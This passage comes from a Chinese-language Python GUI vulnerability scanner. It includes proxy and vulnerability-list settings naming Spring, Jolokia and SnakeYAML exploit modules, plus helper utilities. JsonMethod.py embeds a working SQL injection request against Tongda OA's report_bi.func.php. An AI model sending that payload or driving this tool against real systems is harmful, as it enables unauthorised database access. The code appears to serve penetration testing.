self.configinit(self.proxypath) 33 | 34 | self.window = Toplevel(name='proxy') 35 | self.window.title("代理设置") 36 | self.window.geometry("400x340") 37 | self.window.resizable(0, 0) 38 | 39 | # 初始化json读取 40 | proxyconfig = self.config.JsonRead(self.proxypath) 41 | 42 | self.status_var = StringVar(self.window) 43 | self.proxy_status = ttk.Checkbutton(self.window,variable=self.status_var,text="启用",onvalue=1,offvalue=0,cursor="hand2",command=self.switchCheck) 44 | self.proxy_status.place(x=160,y=20) 45 | self.status_var.set(proxyconfig['switch']) 46 | 47 | Label(self.window, text="type:", fg="black", font=("宋体", 12)).place(x=20, y=60) 48 | self.proxy_type = ttk.Combobox(self.window,width=9) 49 | self.proxy_type['value'] = proxyconfig['type'] 50 | self.proxy_type.current(0) 51 | self.proxy_type.place(x=160,y=60) 52 | 53 | Label(self.window, text="ip:", fg="black", font=("宋体", 12)).place(x=20, y=90) 54 | self.ip_entry = Entry(self.window, width=22, font=tkFont.Font(size=12), bg='white') 55 | self.ip_entry.place(x=120, y=90) 56 | 57 | self.ip_entry.delete(0, 'end') 58 | self.ip_entry.insert('insert', proxyconfig['ip']) 59 | 60 | Label(self.window, text="port:", fg="black", font=("宋体", 12)).place(x=20, y=120) 61 | self.port_entry = Entry(self.window, width=22, font=tkFont.Font(size=12), bg='white') 62 | self.port_entry.place(x=120, y=120) 63 | 64 | self.port_entry.delete(0, 'end') 65 | self.port_entry.insert('insert', proxyconfig['port']) 66 | 67 | Label(self.window, text="user:", fg="black", font=("宋体", 12)).place(x=20, y=150) 68 | self.user_entry = Entry(self.window, width=22, font=tkFont.Font(size=12), bg='white') 69 | self.user_entry.place(x=120, y=150) 70 | 71 | self.user_entry.delete(0, 'end') 72 | self.user_entry.insert('insert', proxyconfig['user']) 73 | 74 | Label(self.window, text="passwd:", fg="black", font=("宋体", 12)).place(x=20, y=180) 75 | self.passwd_entry = Entry(self.window, width=22, font=tkFont.Font(size=12), bg='white') 76 | self.passwd_entry.place(x=120, y=180) 77 | 78 | self.passwd_entry.delete(0, 'end') 79 | self.passwd_entry.insert('insert', proxyconfig['passwd']) 80 | # 保存与取消 81 | self.checkBtn = Button(self.window, text="检查", font=tkFont.Font(size=12), width=9, command=self.proxycheck, 82 | height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", 83 | cursor="hand2") 84 | self.checkBtn.place(x=50, y=210) 85 | 86 | Button(self.window, text="保存", font=tkFont.Font(size=12), width=9, command=self.update, 87 | height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", 88 | cursor="hand2").place(x=150, y=210) 89 | 90 | Button(self.window, text="取消", font=tkFont.Font(size=12), width=9, command=self.window.destroy, 91 | height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", 92 | cursor="hand2").place(x=250, y=210) 93 | 94 | Label(self.window, text="代理清洗:", fg="black", font=("宋体", 12)).place(x=20, y=260) 95 | self.file_entry = Entry(self.window, width=22, font=tkFont.Font(size=12), bg='Ivory',cursor="hand2") 96 | self.file_entry.place(x=120, y=260) 97 | self.file_entry.bind("",self.filedir) 98 | self.btnClear = Button(self.window, text="清洗", font=tkFont.Font(size=12), width=9, command=self.proxycheckfile, 99 | height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", 100 | cursor="hand2") 101 | self.btnClear.place(x=150, y=290) 102 | 103 | self.switchCheck() 104 | 105 | self.window.mainloop() 106 | def update(self): 107 | switch = int(self.status_var.get()) 108 | ip = self.ip_entry.get() 109 | port = self.port_entry.get() 110 | user = self.user_entry.get() 111 | passwd = self.passwd_entry.get() 112 | data = { 113 | "switch": switch, 114 | "type": ["unkown","HTTP","SOCK5"], 115 | "ip": ip, 116 | "port": port, 117 | "user": user, 118 | "passwd": passwd 119 | } 120 | self.config = JsonMethod.JsonMethod() 121 | self.config.JsonWrite(data,self.proxypath) 122 | messagebox.showinfo("更新","更新成功!") 123 | def filedir(self,event): 124 | self.dirsPath(self.file_entry) 125 | def dirsPath(self,entry): 126 | filetypes=[('txt','*.txt'),('all','*.*')] 127 | path = filedialog.askopenfilename(title='文件选择',filetypes=filetypes) 128 | # systype 129 | if self.sysType == "Windows": 130 | # windows 131 | path = path.replace('/','\\') 132 | else: 133 | # linux 134 | path = path.replace('\\','/') 135 | entry.delete(0, 'end') 136 | entry.insert('insert', path) 137 | def proxycheckfile(self): 138 | try: 139 | threadCheck = threading.Thread(target=self.ProxyCheckFile) 140 | threadCheck.setDaemon(True) 141 | threadCheck.start() 142 | except Exception as e: 143 | messagebox.showinfo('error', f'unkown error\n{e}') 144 | def ProxyCheckFile(self): 145 | self.btnClear.config(state="disable") 146 | file = self.file_entry.get() 147 | check = ProxyCheck.ProxyCheck() 148 | check.checkfile(file) 149 | messagebox.showinfo("提示",f"代理清洗成功已保存至 {file} ") 150 | self.btnClear.config(state="normal") 151 | def proxycheck(self): 152 | ip = self.ip_entry.get() 153 | port = self.port_entry.get() 154 | proxy = "{ip}:{port}".format(ip=ip,port=port) 155 | check = ProxyCheck.ProxyCheck() 156 | useful = check.checkurl(proxy) 157 | if useful != False: 158 | messagebox.showinfo("提示","代理可用!") 159 | else: 160 | messagebox.showerror("错误","代理不可用!") 161 | def switchCheck(self): 162 | switch = int(self.status_var.get()) 163 | if switch == 0: 164 | self.proxy_type.config(state="disable") 165 | self.ip_entry.config(state="disable") 166 | self.port_entry.config(state="disable") 167 | self.user_entry.config(state="disable") 168 | self.passwd_entry.config(state="disable") 169 | self.checkBtn.config(state="disable") 170 | else: 171 | self.proxy_type.config(state="normal") 172 | self.ip_entry.config(state="normal") 173 | self.port_entry.config(state="normal") 174 | self.user_entry.config(state="normal") 175 | self.passwd_entry.config(state="normal") 176 | self.checkBtn.config(state="normal") 177 | if __name__ == "__main__": 178 | pass 179 | 180 | -------------------------------------------------------------------------------- /pages/config/VulnConfig.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import os 3 | from tkinter import * 4 | from tkinter import ttk, messagebox, filedialog 5 | import tkinter.font as tkFont 6 | 7 | from util import JsonMethod, SystemCheck 8 | 9 | class VulnConfig: 10 | def __init__(self): 11 | # 操作系统类型 12 | self.sysType = SystemCheck.SystemType() 13 | self.vulnspath = './config/vulns.json' 14 | self.configinit(self.vulnspath) 15 | 16 | def configinit(self,path): 17 | self.config = JsonMethod.JsonMethod() 18 | if not os.path.exists(path): 19 | data = { 20 | "vulns": { 21 | "pocList": [ 22 | "CVE-2021-21234", 23 | "CVE-2022-22947", 24 | "CVE-2022-22963", 25 | "CVE-2022-22965", 26 | "JeeSpring-2023", 27 | "JolokiaRCE", 28 | "nakeYAMLRCE" 29 | ], 30 | "expList": [ 31 | "CVE-2022-22947", 32 | "CVE-2022-22963", 33 | "CVE-2022-22965", 34 | "JeeSpring-2023", 35 | "JolokiaRCE", 36 | "nakeYAMLRCE" 37 | ]}, 38 | "model": { 39 | "standmodel": [ 40 | "py" 41 | ], 42 | "asyncmodel":"async" 43 | }, 44 | "path": { 45 | "standpath": { 46 | "CVE-2021-21234": "./vuls/CVE_2021_21234", 47 | "CVE-2022-22947": "./vuls/CVE_2022_22947", 48 | "CVE-2022-22963": "./vuls/CVE_2022_22963", 49 | "CVE-2022-22965": "./vuls/CVE_2022_22965", 50 | "JeeSpring-2023": "./vuls/JeeSpring_2023", 51 | "JolokiaRCE": "./vuls/JeeSpring_2023", 52 | "nakeYAMLRCE": "./vuls/SnakeYAML_RCE" 53 | }, 54 | "asyncpath": { 55 | "CVE-2021-21234": "./vuls/CVE_2021_21234_Async.py", 56 | "CVE-2022-22947": "./vuls/CVE_2022_22947_Async.py", 57 | "CVE-2022-22963": "./vuls/CVE_2022_22963_Async.py", 58 | "CVE-2022-22965": "./vuls/CVE_2022_22965_Async.py", 59 | "JeeSpring-2023": "./vuls/JeeSpring_2023_Async.py", 60 | "JolokiaRCE": "./vuls/JeeSpring_2023_Async.py", 61 | "nakeYAMLRCE": "./vuls/SnakeYAML_RCE_Async.py" 62 | } 63 | }, 64 | "modelSet": "py", 65 | "expTypes": [ 66 | "default", 67 | "aabysszg", 68 | "13EXP" 69 | ], 70 | "expType": "default" 71 | } 72 | self.config.JsonWrite(data,path) 73 | def page(self): 74 | self.configinit(self.vulnspath) 75 | self.window = Toplevel(name='vulnscan') 76 | self.window.title("漏扫设置") 77 | self.window.geometry("500x480") 78 | self.window.resizable(0, 0) 79 | 80 | # 初始化json读取 81 | vulnconfig = self.config.JsonRead(self.vulnspath) 82 | 83 | self.poclist = vulnconfig["vulns"]['pocList'] 84 | self.explist = vulnconfig["vulns"]['expList'] 85 | 86 | self.standmodel = vulnconfig["model"]["standmodel"] 87 | self.asyncmodel = vulnconfig["model"]["asyncmodel"] 88 | 89 | vulnpath = vulnconfig["path"] 90 | self.standpath = vulnpath["standpath"] 91 | self.asyncpath = vulnpath["asyncpath"] 92 | 93 | self.modelSet = vulnconfig["modelSet"] 94 | 95 | self.expTypes = vulnconfig["expTypes"] 96 | 97 | self.expType = vulnconfig["expType"] 98 | self.models = [] 99 | for i in self.standmodel: 100 | self.models.append(i) 101 | self.models.append(self.asyncmodel) 102 | 103 | Label(self.window, text="Model:", fg="black", font=("宋体", 12)).place(x=20, y=37) 104 | self.model = ttk.Combobox(self.window, width=50) 105 | self.model['value'] = self.models 106 | try: 107 | self.model.current(self.models.index(self.modelSet)) 108 | except: 109 | self.window.destroy() 110 | return messagebox.showerror("错误", "model load error!\nYou can delete the vulns.json and try again!") 111 | self.model.place(x=90, y=37) 112 | 113 | Label(self.window, text="expType:", fg="black", font=("宋体", 12)).place(x=17, y=10) 114 | self.types = ttk.Combobox(self.window, width=50) 115 | self.types['value'] = self.expTypes 116 | try: 117 | self.types.current(self.expTypes.index(self.expType)) 118 | except: 119 | self.window.destroy() 120 | return messagebox.showerror("错误", "types load error!\nYou can delete the vulns.json and try again!") 121 | self.types.place(x=90, y=10) 122 | 123 | Label(self.window, text="PoC:", fg="black", font=("宋体", 12)).place(x=20, y=60) 124 | self.vbar_poclist = ttk.Scrollbar(self.window) 125 | self.poclist_info = Text(self.window, width=30, height=15, yscrollcommand=self.vbar_poclist.set) 126 | self.poclist_info.place(x=20, y=90) 127 | self.vbar_poclist.config(command=self.poclist_info.yview) 128 | self.vbar_poclist.pack(side=RIGHT, fill="y") 129 | 130 | Label(self.window, text="EXP:", fg="black", font=("宋体", 12)).place(x=260, y=60) 131 | self.vbar_explist = ttk.Scrollbar(self.window) 132 | self.explist_info = Text(self.window, width=30, height=15, yscrollcommand=self.vbar_explist.set) 133 | self.explist_info.place(x=260, y=90) 134 | self.vbar_explist.config(command=self.explist_info.yview) 135 | self.vbar_explist.pack(side=LEFT, fill="y") 136 | 137 | self.poc = ttk.Combobox(self.window, width=16) 138 | self.poc['value'] = self.poclist 139 | self.poc.current(0) 140 | self.poc.place(x=20, y=310) 141 | 142 | Label(self.window, text="Vuln:", fg="black", font=("宋体", 12)).place(x=20, y=350) 143 | self.addvulnName_entry = Entry(self.window, width=38, bg='Ivory', font=tkFont.Font(size=12)) 144 | self.addvulnName_entry.place(x=70, y=350) 145 | 146 | Label(self.window, text="Path:", fg="black", font=("宋体", 12)).place(x=20, y=380) 147 | self.addvulnPath_entry = Entry(self.window, width=38, bg='Ivory', font=tkFont.Font(size=12),cursor="hand2") 148 | self.addvulnPath_entry.place(x=70, y=380) 149 | self.addvulnPath_entry.bind("",self.vulnPath) 150 | 151 | self.AddVuln = Button(self.window, text="新增", font=tkFont.Font(size=12), width=9, command=self.addVuln, 152 | height=2, fg="white", bg="gray", activeforeground="white", activebackground="black", 153 | cursor="hand2") 154 | self.AddVuln.place(x=390, y=350) 155 | 156 | self.Delpoc = Button(self.window, text="删除", font=tkFont.Font(size=10), width=9, command=self.delpoc, 157 | height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", 158 | cursor="hand2") 159 | self.Delpoc.place(x=160, y=310) 160 | 161 | self.exp = ttk.Combobox(self.window, width=16) 162 | self.exp['value'] = self.explist 163 | self.exp.current(0) 164 | self.exp.place(x=260, y=310) 165 | 166 | # Label(self.window, text="EXP:", fg="black", font=("宋体", 12)).place(x=260, y=350) 167 | # self.addexpname_entry = Entry(self.window, width=19, bg='Ivory', font=tkFont.Font(size=12)) 168 | # self.addexpname_entry.place(x=310, y=350) 169 | 170 | # self.addexppath_entry = Entry(self.window, width=22, bg='Ivory', font=tkFont.Font(size=12)) 171 | # self.addexppath_entry.place(x=290, y=380) 172 | 173 | # self.Addexp = Button(self.window, text="新增", font=tkFont.Font(size=12), width=9, command=self.addexp, 174 | # height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", 175 | # cursor="hand2") 176 | # self.Addexp.place(x=320, y=410) 177 | 178 | self.Delexp = Button(self.window, text="删除", font=tkFont.Font(size=10), width=9, command=self.delexp, 179 | height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", 180 | cursor="hand2") 181 | self.Delexp.place(x=400, y=310) 182 | 183 | # self.standpathget = {} 184 | # self.asyncpathget = {} 185 | # for i in self.poclist: 186 | # self.standpathget[i] = "" 187 | # self.asyncpathget[i] = "" 188 | 189 | Button(self.window, text="保存", font=tkFont.Font(size=12), width=9, command=self.update, 190 | height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", 191 | cursor="hand2").place(x=140, y=420) 192 | 193 | Button(self.window, text="取消", font=tkFont.Font(size=12), width=9, command=self.window.destroy, 194 | height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", 195 | cursor="hand2").place(x=260, y=420) 196 | 197 | self.pocs = self.ListToText(self.poclist) 198 | self.exps = self.ListToText(self.explist) 199 | 200 | self.poclist_info.insert(INSERT, self.pocs) 201 | self.poclist_info.config(state='disable') 202 | 203 | self.explist_info.insert(INSERT, self.exps) 204 | self.explist_info.config(state='disable') 205 | def ListToText(self,list): 206 | text = "" 207 | for i in list: 208 | text += i + "\n" 209 | return text 210 | def AsyncPath(self,path): 211 | path = path + "_Async.py" 212 | return path 213 | def delpoc(self): 214 | try: 215 | self.poclist_info.config(state="normal") 216 | self.poclist_info.delete(1.0, END) 217 | poc = self.poc.get() 218 | self.poclist.remove(poc) 219 | self.standpath.pop(poc) 220 | self.asyncpath.pop(poc) 221 | pocs = self.ListToText(self.poclist) 222 | if len(self.poclist) > 0: 223 | self.poc['value'] = self.poclist 224 | self.poc.current(0) 225 | else: 226 | self.poc['value'] = [""] 227 | self.poc.current(0) 228 | self.poclist_info.insert(INSERT, pocs) 229 | self.poclist_info.config(state="disable") 230 | except: 231 | messagebox.showerror("错误","未知错误") 232 | self.poclist_info.config(state="disable") 233 | def delexp(self): 234 | try: 235 | self.explist_info.config(state="normal") 236 | self.explist_info.delete(1.0, END) 237 | exp = self.exp.get() 238 | self.explist.remove(exp) 239 | exps = self.ListToText(self.explist) 240 | if len(self.explist) > 0: 241 | self.exp['value'] = self.explist 242 | self.exp.current(0) 243 | else: 244 | self.exp['value'] = [""] 245 | self.exp.current(0) 246 | self.explist_info.insert(INSERT, exps) 247 | self.explist_info.config(state="disable") 248 | except: 249 | messagebox.showerror("错误","未知错误") 250 | self.explist_info.config(state="disable") 251 | def dirsPath(self,entry): 252 | filetypes=[('py','*.py'),('yaml','*.yaml'),('json','*.json'),('all','*.*')] 253 | path = filedialog.askopenfilename(title='文件选择',filetypes=filetypes) 254 | # systype 255 | if self.sysType == "Windows": 256 | # windows 257 | path = path.replace('/','\\') 258 | else: 259 | # linux 260 | path = path.replace('\\','/') 261 | pwd = os.getcwd() 262 | if pwd in path: 263 | pfix = path.split(".")[-1] 264 | path = "." + path.replace(pwd,"").replace("\\","/").replace(".py","").\ 265 | replace(".json","").replace("_Async","").replace(f".{pfix}","") 266 | else: 267 | path = path 268 | entry.delete(0,'end') 269 | entry.insert('insert',path) 270 | def vulnPath(self,event): 271 | self.dirsPath(self.addvulnPath_entry) 272 | def addVuln(self): 273 | vuln = self.addvulnName_entry.get() 274 | exp = self.addvulnName_entry.get() 275 | pocpath = self.addvulnPath_entry.get() 276 | asyncpath = self.AsyncPath(pocpath) 277 | self.explist_info.config(state="normal") 278 | self.poclist_info.config(state="normal") 279 | if vuln not in self.poclist and vuln != "": 280 | self.explist.append(exp) 281 | self.poclist.append(vuln) 282 | self.standpath[vuln] = pocpath 283 | self.asyncpath[vuln] = asyncpath 284 | else: 285 | self.explist_info.config(state="disable") 286 | self.poclist_info.config(state="disable") 287 | return messagebox.showerror("错误","空值或重复的键值") 288 | self.poc['value'] = self.poclist 289 | self.poc.current(0) 290 | self.exp['value'] = self.explist 291 | self.exp.current(0) 292 | self.explist_info.delete(1.0, END) 293 | self.poclist_info.delete(1.0, END) 294 | pocs = self.ListToText(self.poclist) 295 | exps = self.ListToText(self.explist) 296 | self.poclist_info.insert(INSERT, pocs) 297 | self.explist_info.insert(INSERT, exps) 298 | self.poclist_info.config(state="disable") 299 | self.explist_info.config(state="disable") 300 | return True 301 | def update(self): 302 | modelget = self.model.get() 303 | expType = self.types.get() 304 | data = { 305 | "vulns": { 306 | "pocList": self.poclist, 307 | "expList": self.explist 308 | }, 309 | "model": { 310 | "standmodel": [ 311 | "py", 312 | "json", 313 | "yaml" 314 | ], 315 | "asyncmodel":"async" 316 | }, 317 | "path": { 318 | "standpath": self.standpath, 319 | "asyncpath": self.asyncpath 320 | }, 321 | "modelSet": modelget, 322 | "expTypes": [ 323 | "default", 324 | "aabysszg", 325 | "13EXP" 326 | ], 327 | "expType": expType 328 | } 329 | self.config = JsonMethod.JsonMethod() 330 | self.config.JsonWrite(data, self.vulnspath) 331 | messagebox.showinfo("更新", "更新成功!") 332 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | tqdm 2 | requests 3 | urllib3 -------------------------------------------------------------------------------- /save/fofa.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /translations/CN/string.json: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /translations/US/string.json: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /util/InputCheck.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import os,re 4 | 5 | class InputCheck: 6 | def isNull(self,check): 7 | if check == "": 8 | return True 9 | else: 10 | return False 11 | def FileOrUrl(self,check): 12 | url_regex = r'https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+' 13 | url_pattern = re.compile(url_regex) 14 | ip_regex = r'(([01]{0,1}\d{0,1}\d|2[0-4]\d|25[0-5])\.){3}([01]{0,1}\d{0,1}\d|2[0-4]\d|25[0-5])' 15 | # url2_regex = r'(?:[-\w.]|(?:%[\da-fA-F]{2}))+' 16 | if os.path.isfile(check): 17 | return "isFile" 18 | elif url_pattern.match(check) != None or re.match(ip_regex,check) != None: 19 | # or re.match(url2_regex,check) != None 20 | return "isURL" 21 | else: 22 | return False 23 | def UserAgent(self,check): 24 | if check == "自动": 25 | return True 26 | else: 27 | return False 28 | if __name__ == "__main__": 29 | url = InputCheck() 30 | check = url.FileOrUrl('192.168.0.1') 31 | print(check) 32 | -------------------------------------------------------------------------------- /util/JsonMethod.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import json 4 | 5 | class JsonMethod: 6 | def JsonRead(self,json_file): 7 | with open(json_file, "r", encoding="utf-8") as f: 8 | content = json.load(f) 9 | return content 10 | def JsonWrite(self,data,json_file): 11 | with open(json_file, 'w', encoding='utf-8') as f: 12 | json.dump(data, f, ensure_ascii=False, indent=4) 13 | return True 14 | def FofaConfigRead(self): 15 | self.fofapath = './config/fofa.json' 16 | self.fofaconfig = self.JsonRead(self.fofapath) 17 | return self.fofaconfig 18 | def ProxyConfigRead(self): 19 | self.proxypath = './config/proxy.json' 20 | self.proxyconfig = self.JsonRead(self.proxypath) 21 | return self.proxyconfig 22 | def LogsConfigRead(self): 23 | self.logpath = './config/logs.json' 24 | self.logconfig = self.JsonRead(self.logpath) 25 | return self.logconfig 26 | def VulnsConfigRead(self): 27 | self.vulnspath = './config/vulns.json' 28 | self.vulnsconfig = self.JsonRead(self.vulnspath) 29 | return self.vulnsconfig 30 | if __name__ == '__main__': 31 | data = { 32 | "list":[ 33 | "CVE-2021-21234","CVE-2022-22963","CVE-2022-22965", 34 | "JeeSpring-2023","JolokiaRCE","nakeYAMLRCE" 35 | ], 36 | "path":{ 37 | "CVE-2021-21234": "../vuls/CVE_2021_21234.py", 38 | "CVE-2022-22963": "../vuls/CVE_2022_22963.py", 39 | "CVE-2022-22965": "../vuls/CVE_2022_22965.py", 40 | "JeeSpring-2023": "../vuls/JeeSpring_2023.py", 41 | "JolokiaRCE": "../vuls/JeeSpring_2023.py", 42 | "nakeYAMLRCE": "../vuls/SnakeYAML_RCE.py" 43 | } 44 | } 45 | '''data = { 46 | "switch": 0, 47 | "scanlog_path":"../logs/urls.log", 48 | "vulnlog_path":"../logs/vuln.log" 49 | }''' 50 | data = {'id': '通达OA v11.6 insert SQL注入漏洞', 'info': {'name': 'Office Anywhere TongDa - Path Traversal', 'author': 'pikpikcu', 'severity': 'critical', 'description': '通达OA v11.6 report_bi.func.php 存在SQL注入漏洞,攻击者通过漏洞可以获取数据库信息', 'reference': ['https://peiqi.wgpsec.org/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.6%20report_bi.func.php%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html'], 'classification': {'cvss-metrics': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H', 'cvss-score': 10.0, 'cwe-id': 'CWE-77'}, 'tags': 'tongda,lfi', 'metadata': {'max-request': 1}}, 'http': [{'method': ['POST'], 'path': ['{{BaseURL}}/general/bi_design/appcenter/report_bi.func.php'], 'Rheader': ['Content-Type:application/x-www-form-urlencoded & Accept-Encoding:gzip'], 'body': ['_POST[dataset_id]=efgh%27-%40%60%27%60%29union+select+database%28%29%2C2%2Cuser%28%29%23%27&action=get_link_info&\n'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'part': 'body', 'words': ['td_oa']}, {'type': 'status', 'status': [200]}]}]} 51 | 52 | var = JsonMethod() 53 | data = var.JsonWrite(data,'CVE_2021_21234.json') 54 | print(data) 55 | 56 | -------------------------------------------------------------------------------- /util/LogsMethod.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | from time import strftime, localtime 4 | 5 | from util import JsonMethod 6 | 7 | class LogsMethod: 8 | def __init__(self): 9 | self.config = JsonMethod.JsonMethod() 10 | config = self.config.LogsConfigRead() 11 | self.scanlog_path = config['scanlog_path'] 12 | self.vulnlog_path = config['vulnlog_path'] 13 | self.errorlog_path = config['errorlog_path'] 14 | self.dumplog_path = config['dumplog_path'] 15 | def sacnlogs(self,info): 16 | log = info + ' ' + strftime("%Y-%m-%d %H:%M:%S", localtime()) 17 | with open(self.scanlog_path,'a') as f: 18 | f.write(log) 19 | f.write("\n") 20 | def vulnlogs(self,info): 21 | log = info + ' ' + strftime("%Y-%m-%d %H:%M:%S",localtime()) 22 | with open(self.vulnlog_path,'a') as f: 23 | f.write(log) 24 | f.write("\n") 25 | def errorlogs(self,info): 26 | log = "[Error]" + ' ' + info + ' ' + strftime("%Y-%m-%d %H:%M:%S", localtime()) 27 | with open(self.errorlog_path, 'a') as f: 28 | f.write(log) 29 | f.write("\n") 30 | def dumplogs(self,info): 31 | log = info + ' ' + strftime("%Y-%m-%d %H:%M:%S", localtime()) 32 | with open(self.dumplog_path, 'a') as f: 33 | f.write(log) 34 | f.write("\n") 35 | if __name__ == '__main__': 36 | log = LogsMethod() 37 | -------------------------------------------------------------------------------- /util/ProxyCheck.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import requests 4 | # from util import URLMethod 5 | # import urllib3 6 | # import RandomUA 7 | 8 | class ProxyCheck: 9 | def __init__(self): 10 | self.testurl = "https://www.baidu.com/" 11 | # self.ua_load = RandomUA.RandomUA() 12 | # self.ua = self.ua_load.UserAgent() 13 | # self.urlmethod = URLMethod.URLMethod() 14 | self.headers = {"User-Agent": "Mozilla/5.0"} 15 | def checkurl(self,proxy): 16 | proxies = proxy.strip("/") 17 | if "/" in proxies: 18 | proxies = proxies.split("/")[-1] 19 | proxies = { 20 | "http": "http://%(proxy)s/" % {'proxy': proxies}, 21 | "https": "http://%(proxy)s/" % {'proxy': proxies} 22 | } 23 | try: 24 | requests.packages.urllib3.disable_warnings() 25 | res = requests.get(self.testurl, timeout=5, proxies=proxies, verify=False, headers=self.headers) 26 | if res.status_code == 200: 27 | return proxies 28 | except: 29 | return False 30 | def checkfile(self,proxyfile): 31 | proxy_list = [] 32 | proxy_alive = [] 33 | write_alive = [] 34 | with open(proxyfile,"r") as f: 35 | proxy_file = f.read().split("\n") 36 | for i in proxy_file: 37 | if i != "": 38 | i = i.strip("/") 39 | if "/" in i: 40 | i = i.split("/")[-1] 41 | proxy_list.append(i) 42 | for i in proxy_list: 43 | proxies = { 44 | "http": "http://%(proxy)s/" % {'proxy': i}, 45 | "https": "http://%(proxy)s/" % {'proxy': i} 46 | } 47 | try: 48 | requests.packages.urllib3.disable_warnings() 49 | res = requests.get(self.testurl, timeout=5, proxies=proxies, verify=False, headers=self.headers) 50 | if res.status_code == 200: 51 | proxy_alive.append(proxies) 52 | write_alive.append(i) 53 | except: 54 | pass 55 | # 刷新代理文件 56 | with open(proxyfile,"w") as f: 57 | for i in write_alive: 58 | f.write(i) 59 | f.write('\n') 60 | return proxy_alive 61 | if __name__ == '__main__': 62 | proxy = ProxyCheck() 63 | url = proxy.checkurl('http://192.168.0.1/') 64 | print(url) 65 | -------------------------------------------------------------------------------- /util/RandomUA.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import random 4 | 5 | class RandomUA: 6 | def UserAgent(self): 7 | user_agent_app_names = [ 8 | 'Mozilla', 9 | 'Opera', 10 | 'Googlebot', 11 | 'Bingbot', 12 | 'Facebook', 13 | ] 14 | 15 | user_agent_versions = [ 16 | '5.0 (Windows NT 10.0; Win64; x64)', 17 | '5.0 (Macintosh; Intel Mac OS X 10_15_7)', 18 | '5.0 (Linux; Android 10)' 19 | '9.80 (Windows NT 5.1; U; zh-sg)', 20 | '5.0 (Windows NT 6.2; WOW64)', 21 | '5.0 (Windows NT 6.1; WOW64)', 22 | '5.0 (Windows NT 6.1; WOW64; rv:23.0)', 23 | '5.0 (Windows NT 6.1; Win64; x64)', 24 | '5.0 (Windows; U; Windows NT 6.1; en-US)', 25 | '5.0 (X11; NetBSD)' 26 | 27 | ] 28 | 29 | user_agent_browsers = [ 30 | 'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.1234.5678 Safari/537.36', 31 | 'AppleWebKit/537.36 (KHTML, like Gecko) Firefox/99.0', 32 | 'AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27', 33 | 'AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36', 34 | 'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', 35 | 'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36', 36 | 'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36', 37 | 'AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27', 38 | 'Presto/2.9.181 Version/12.00', 39 | 'Gecko/20130406 Firefox/23.0' 40 | ] 41 | app_name = random.choice(user_agent_app_names) 42 | version = random.choice(user_agent_versions) 43 | browser = random.choice(user_agent_browsers) 44 | 45 | random_user_agent = f'{app_name}/{version} {browser}' 46 | return random_user_agent 47 | def UserAgentList(self,num): 48 | ua_list = [] 49 | for i in range(num): 50 | ua_list.append(self.UserAgent()) 51 | return ua_list 52 | 53 | if __name__ == '__main__': 54 | ua = RandomUA() 55 | uas = ua.UserAgentList(100) 56 | print(uas) 57 | -------------------------------------------------------------------------------- /util/SystemCheck.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import os,ctypes,sys 4 | 5 | def SystemType(): 6 | if sys.platform.startswith('linux'): 7 | return 'Linux' 8 | elif sys.platform.startswith('win'): 9 | return 'Windows' 10 | elif sys.platform.startswith('darwin'): 11 | return 'macOS' 12 | else: 13 | return False 14 | def is_admin(): 15 | try: 16 | return ctypes.windll.shell32.IsUserAnAdmin() 17 | except: 18 | return False 19 | def is_root(): 20 | if os.geteuid() == 0: 21 | return True 22 | else: 23 | return False 24 | 25 | 26 | if __name__ == "__main__": 27 | systype = SystemType() 28 | if systype == 'Windows': 29 | if is_admin(): 30 | print('yes') 31 | else: 32 | ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1) 33 | elif systype == 'Linux': 34 | if is_root(): 35 | print('root') 36 | else: 37 | print(False) 38 | elif systype == 'macOS': 39 | if is_root(): 40 | print('root') 41 | else: 42 | print(False) 43 | else: 44 | print('Faild Start Process...Please try agine!') 45 | -------------------------------------------------------------------------------- /util/URLMethod.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | class URLMethod: 4 | def StandURL(self,url): 5 | if ('://' not in url): 6 | url = str("http://") + str(url) 7 | if str(url[-1]) != "/": 8 | url = url + "/" 9 | else: 10 | url = url 11 | return url 12 | def FileURL(self,file): 13 | urls = [] 14 | with open(file, 'r') as url_list: 15 | url_lists = url_list.readlines() 16 | for url in url_lists: 17 | url = url.strip() 18 | if ('://' not in url): 19 | url = str("http://") + str(url) 20 | if str(url[-1]) != "/": 21 | urls.append(url + "/") 22 | else: 23 | urls.append(url) 24 | return urls 25 | if __name__ == '__main__': 26 | 